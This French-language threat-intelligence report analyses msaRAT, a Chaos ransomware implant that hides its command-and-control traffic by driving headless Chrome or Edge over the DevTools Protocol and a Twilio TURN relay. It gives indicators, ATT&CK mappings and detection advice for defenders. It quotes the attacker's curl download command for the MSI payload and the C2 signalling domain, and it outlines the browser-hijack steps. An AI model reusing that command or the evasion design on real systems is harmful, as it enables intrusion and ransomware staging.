msaRAT : quand Chaos ransomware fait parler Chrome à sa place pour son C2

Rapport CTI technique du 30 juillet 2026

Résumé exécutif

Cisco Talos a détaillé le 23 juillet 2026 msaRAT, un implant Rust lié au groupe de ransomware Chaos et retrouvé sur une machine Windows compromise, en amont du déploiement de l'encryptor. Sa particularité tient à l'architecture de son canal de commande et contrôle : le processus de l'implant lui-même ne se connecte jamais à l'extérieur, il ne parle qu'à 127.0.0.1. À la place, il lance Chrome ou Edge en mode headless et pilote le navigateur via le Chrome DevTools Protocol, l'API de débogage native du navigateur, pour lui faire ouvrir un canal WebRTC relayé par l'infrastructure TURN de Twilio. Pour un défenseur qui inspecte le trafic réseau, tout ce qui sort de la machine ressemble à un navigateur légitime qui dialogue avec Cloudflare et Twilio ; l'adresse du serveur de l'attaquant n'apparaît jamais sur le fil.

Cette technique combine deux abus déjà documentés séparément (l'utilisation de TURN pour du C2 covert, démontrée par Praetorian en 2025, et l'usage de canaux de données WebRTC pour exfiltrer des données de carte bancaire, observé par Sansec en 2026) mais les réunit pour la première fois dans un implant lié à un opérateur de ransomware actif. Le vecteur d'entrée initial de la machine analysée reste inconnu de Talos, qui rattache toutefois l'outil au playbook documenté de Chaos : spam, vishing, abus de Quick Assist et d'outils RMM. Le point de vigilance opérationnel le plus solide n'est pas un indicateur réseau, remplaçable du jour au lendemain, mais un comportement de processus : un navigateur Chrome ou Edge lancé en headless par un installeur ou un service, avec le port de débogage distant activé.

Chronologie

Date	Événement
Non daté (avant le 23 juillet 2026)	Compromission d'une machine Windows sur laquelle msaRAT est retrouvé en amont du déploiement de l'encryptor Chaos
Mars 2025	Google modifie Chrome à partir de la version 136 pour ne plus honorer le flag de débogage distant sur le profil par défaut, en réaction à l'abus du flag par des infostealers
Août 2025	Praetorian documente l'abus de l'infrastructure TURN des plateformes de visioconférence pour un canal C2 covert complet
Mars 2026	Sansec documente un skimmer utilisant des canaux de données WebRTC pour contourner l'inspection CSP et exfiltrer des données de carte bancaire
23 juillet 2026	Cisco Talos publie son analyse technique de msaRAT et le rattache à Chaos ransomware

Fiche d'acteur / campagne

Chaos ransomware (msaRAT) | Post-exploitation, pré-chiffrement | Cibles Windows, secteur non précisé par Talos

Description technique : msaRAT est un implant Rust construit sur le runtime asynchrone Tokio, livré sous forme de DLL exportant une fonction RUN appelée par une action personnalisée à la fin de l'installation d'un MSI déguisé en mise à jour Windows. Une fois chargé en mémoire, il cherche Chrome ou Edge via les variables d'environnement puis, pour Chrome, via le registre. S'il trouve un navigateur, il le lance sans fenêtre visible avec --headless=new, active le CDP via --remote-debugging-port, et pointe vers un répertoire de profil séparé du profil utilisateur réel, contournant ainsi la restriction introduite par Chrome 136 sur le profil par défaut. Il interroge ensuite /json/list/ pour obtenir une cible de débogage, se connecte au WebSocket retourné, crée un onglet, désactive la Content Security Policy via Page.setBypassCSP, enregistre cinq callbacks via Runtime.addBinding (msaOpen, msaClose, msaError, msaMessage, dataAck, ces quatre premiers noms ayant permis à Talos de baptiser le malware), puis injecte du JavaScript stocké en clair dans la section .rdata du binaire via Runtime.evaluate.

Ce JavaScript récupère la configuration STUN/TURN depuis un Cloudflare Worker (is-01-ast[.]ols-img-12[.]workers[.]dev), avec des en-têtes Origin et Referer maquillés pour ressembler à du trafic Microsoft, construit une connexion peer WebRTC et poste une offre SDP au même endpoint. La réponse ne contient aucun candidat ICE et fixe l'adresse de connexion à 0.0.0.0, empêchant toute liaison peer-to-peer directe : tout le canal transite donc par le relais TURN de Twilio (global.turn.twilio.com), le Worker Cloudflare ne servant qu'à la signalisation initiale. Le trafic est chiffré deux fois : DTLS au niveau du navigateur, puis un schéma basé sur ChaCha20-Poly1305 avec échange de clé ECDH initié par une trame de handshake 0xFE. Les commandes reçues sont exécutées via cmd.exe /e:ON /v:OFF /d /c <cmd>.

Conditions d'exploitation : nécessite un accès d'exécution déjà obtenu sur la machine cible (msaRAT n'est pas un vecteur d'accès initial), la présence de Chrome ou Edge, et une sortie réseau autorisée pour un processus navigateur, ce qui est trivialement vrai sur la quasi-totalité des parcs Windows d'entreprise. PoC disponible : non applicable, il s'agit d'un outil offensif observé en conditions réelles et non d'une vulnérabilité avec preuve de concept publique. Patch/mitigation : aucun correctif navigateur ne s'applique, la technique n'exploitant pas de vulnérabilité Chrome ou Edge mais un détournement de fonctionnalités légitimes (CDP, WebRTC, TURN).

Diagramme de la chaîne d'attaque

Infrastructure et chaîne C2 de msaRAT
Cartographie de l'infrastructure et de la chaîne de communication de msaRAT, reconstituée à partir de l'analyse Cisco Talos publiée le 23 juillet 2026.

Analyse technique

Étape 1 : livraison et exécution initiale

La charge est récupérée par une simple commande curl sur le port 443, mais en HTTP brut et non en HTTPS (curl.exe http://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi), une configuration qui passe les règles de pare-feu écrites uniquement sur des numéros de port sans inspection de protocole. Le fichier MSI porte des métadonnées imitant une mise à jour Windows et déclenche une action personnalisée en fin d'installation, qui charge en mémoire une DLL embarquée exportant la fonction RUN.

Étape 2 : découverte et lancement furtif du navigateur

msaRAT localise un navigateur Chrome ou Edge installé sur la machine via les variables d'environnement puis le registre, et le lance en mode headless avec un profil de données utilisateur dédié, distinct du profil réel de la victime, ce qui évite toute interférence avec les habitudes de navigation observables et contourne la restriction de Chrome 136 sur le profil par défaut.

Étape 3 : prise de contrôle du navigateur via le Chrome DevTools Protocol

L'implant active le port de débogage distant, se connecte au navigateur via WebSocket, crée un onglet, désactive la CSP, et injecte du code JavaScript qui devient le véritable client C2 exécuté dans le contexte du navigateur plutôt que dans le processus de l'implant.

Étape 4 : établissement du canal WebRTC via relais Twilio TURN

Le JavaScript injecté négocie une session WebRTC dont la configuration est distribuée par un Cloudflare Worker jouant le rôle de serveur de signalisation. L'absence de candidat ICE direct force tout le trafic à transiter par le relais TURN légitime de Twilio, ce qui rend le blocage de cette infrastructure coûteux pour une organisation puisqu'elle casse également des usages WebRTC légitimes.

Étape 5 : commande et contrôle chiffré double couche et exécution de commandes

Une fois le canal WebRTC actif, les échanges sont protégés par DTLS au niveau navigateur et par un chiffrement applicatif ChaCha20-Poly1305 négocié par échange de clé ECDH. Les commandes reçues sont relayées à cmd.exe pour exécution, et la gestion de flux de la file d'envoi suggère une capacité de transfert fiable de charges volumineuses telles que captures d'écran ou fichiers, en amont du déploiement de l'encryptor Chaos.

Indicateurs de compromission

Type	Valeur
URL de téléchargement de la charge	http://172.86.126[.]18:443/update_ms.msi
Fichier déposé	C:\programdata\update_ms.msi
Domaine de signalisation Cloudflare Worker	is-01-ast[.]ols-img-12[.]workers[.]dev
Infrastructure de relais C2	global.turn.twilio.com
Callbacks CDP caractéristiques	msaOpen, msaClose, msaError, msaMessage, dataAck
Détection ClamAV	Win.Downloader.ChaosRaas-10060321-0
Détection Snort 2	1:66839, 1:66840, 1:66841
Détection Snort 3	1:66839, 1:301587

Talos n'a publié aucun hash de fichier pour msaRAT à la date du 23 juillet 2026 ; le jeu d'indicateurs publics se limite aux deux artefacts réseau ci-dessus, tous deux facilement remplaçables par l'opérateur.

MITRE ATT&CK

Tactique	Technique	ID	Justification
Execution	System Binary Proxy Execution: Msiexec	T1218.007	La charge est livrée en MSI et exécutée via une action personnalisée déclenchant le chargement de la DLL embarquée
Defense Evasion	System Binary Proxy Execution	T1218	Le trafic C2 transite intégralement par le binaire signé et légitime du navigateur, qui agit comme proxy réseau pour l'implant
Command and Control	Web Service: Bidirectional Communication	T1102.002	Le Cloudflare Worker sert de canal de signalisation bidirectionnel pour l'échange SDP
Command and Control	Proxy: Multi-hop Proxy	T1090.003	Le relais TURN de Twilio masque l'adresse réelle du serveur C2 en interposant une infrastructure tierce légitime
Command and Control	Encrypted Channel	T1573	Double couche de chiffrement, DTLS navigateur puis ChaCha20-Poly1305 applicatif avec échange de clé ECDH
Execution	Command and Scripting Interpreter: Windows Command Shell	T1059.003	Les commandes reçues via le canal C2 sont relayées à cmd.exe pour exécution

Cisco Talos n'a publié aucune cartographie ATT&CK officielle pour msaRAT : le tableau ci-dessus constitue notre lecture technique de la chaîne décrite dans son rapport, et non une attribution vendeur.

Remédiation : checklist opérationnelle

Chasser les processus Chrome ou Edge lancés avec les paramètres --headless=new et --remote-debugging-port par un parent non interactif tel qu'un installeur, un service ou une tâche planifiée.
Corréler tout processus navigateur headless détecté avec du trafic loopback vers le port de débogage local et du trafic WebRTC sortant simultané.
Là où la télémétrie le permet, surveiller les appels CDP Runtime.addBinding et Runtime.evaluate émis par des processus non-interactifs, qui constituent le point de pivot le plus fiable identifié par Talos.
Bloquer ou surveiller étroitement les connexions sortantes vers *.workers.dev depuis des postes qui n'ont aucune raison légitime de dialoguer avec des Cloudflare Workers.
Évaluer l'usage légitime de Twilio TURN dans l'organisation avant tout blocage : cette infrastructure sert des usages WebRTC réels et un blocage aveugle cassera du trafic légitime.
Intégrer les signatures ClamAV (Win.Downloader.ChaosRaas-10060321-0) et Snort (2:66839-66841, 3:66839/301587) publiées par Talos dans les outils de détection réseau et endpoint.
Filtrer les règles de pare-feu sortant par inspection de protocole et pas uniquement par numéro de port, pour détecter le trafic HTTP brut circulant sur le port 443.
Renforcer les contrôles sur les vecteurs d'accès initial documentés du groupe Chaos (campagnes de spam, vishing, abus de Quick Assist et d'outils RMM), en l'absence de vecteur d'entrée confirmé pour la machine analysée par Talos.
Surveiller les alertes de sécurité sur postes disposant de Chrome ou Edge installés localement, condition suffisante pour que la technique fonctionne sur la quasi-totalité d'un parc Windows d'entreprise.